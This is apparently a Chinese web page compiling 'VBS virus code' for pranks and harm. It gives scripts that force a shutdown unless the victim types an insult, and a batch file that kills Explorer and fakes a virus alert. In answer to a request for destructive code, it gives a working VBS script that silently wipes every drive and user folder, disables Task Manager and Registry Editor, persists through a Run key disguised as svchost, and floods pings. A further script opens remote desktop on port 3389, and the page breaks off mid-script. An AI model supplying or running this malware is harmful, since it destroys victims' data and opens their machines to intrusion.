vbs腳本病毒有很強的自我繁殖能力_vbs腳本病毒代碼大全

  網絡滲透測試     |      2023-03-31 23:28

6、

惡搞電腦病毒代碼有哪些

有時候想和朋友們玩玩,搞點惡搞電腦病毒給他們,要怎么辦呢?下面由我給你做出詳細的惡搞電腦病毒代碼介紹!希望對你有幫助!

惡搞電腦病毒代碼介紹一:

首先在電腦上新建一個TXT文檔

然后把下面這段代碼輸入進去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬,不喊就馬上讓你關機,不信,試試···"" ", 0, True

Dim a

Do While (a "我是豬")

a = InputBox("快說我是豬,不叫就不關機,快點,說 ", "說不說", "不說", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把這個文本文檔的后綴改為vbs 也就是說新建的文本文檔本來是.TXT的后綴,

你要修改為.VBS的后綴

惡搞電腦病毒代碼介紹二:

新建一個文本文檔,然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入圖片,如果對方有郵箱,就發給他

他一打開就會出現你插入的圖片,然后出現 藍屏 (效果7—10分鐘)(注:做好病毒后不要打開,否則會出現以上說的情況)

惡搞電腦病毒代碼介紹三:

新建一個文本文檔(.txt),要復制以下代碼:

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告:在病毒執行期間禁止關閉電源,

echo 否則你就和你心愛的電腦說

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒,在這個墮落的世界上蘇醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的計算機上帶有魔鬼病毒,今天是它的發作日期。病毒已經破壞了您的系統,您的計算機將在10秒鐘后重啟。"

::結束

再另存為:名字.bat 你要記住"名字"后面要加".bat"

就可以了,沒有任何破壞性,嚇嚇人。

你可以試試看看效果。

求最全的vbs病毒代碼,要破壞性的。謝謝,回答的好我多給分。

那廢話不說,問這個如何?不懂可以問我

On Error Resume Next

dim avest,xufso,wscrt

Set avest = WScript.Createobject("WScript.Shell")

Set wscrt = WScript.Createobject("WScript.Shell")

Set xufso = CreateObject("Scripting.FileSystemObject")

avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true

xufso.CreateFolder "C:\VBScript\"

wscrt.run "shutdown -r -f -t 3600 -c 腳本與批處理程序相結合成功!"

xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一觸即發.vbs"

xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一觸即發.vbs"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一觸即發.vbs","REG_SZ"

wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"

msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"

do

wscrt.run "ping 192.168.1.1 -l 65500 -t"

loop

解釋一個VBS腳本病毒代碼

'容錯

on error resume next

'定義一個常量 是一個注冊表的鍵值

const HKEY_LOCAL_MACHINE = H80000002

'定義一個變量strComputer 值為.

strComputer = "."

Set StdOut = WScript.StdOut

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _

strComputer "\root\default:StdRegProv")

'創建組件 是關于注冊表的組件

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

strValueName = "fDenyTSConnections"

dwValue = 0

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"

strValueName = "PortNumber"

dwValue = 3389

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"

strValueName = "PortNumber"

dwValue = 3389

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue

'上面這段的功能是開啟3389端口 也就是開啟遠程終端 方法是修改注冊表的鍵值

'容錯

on error resume next

'定義變量 username password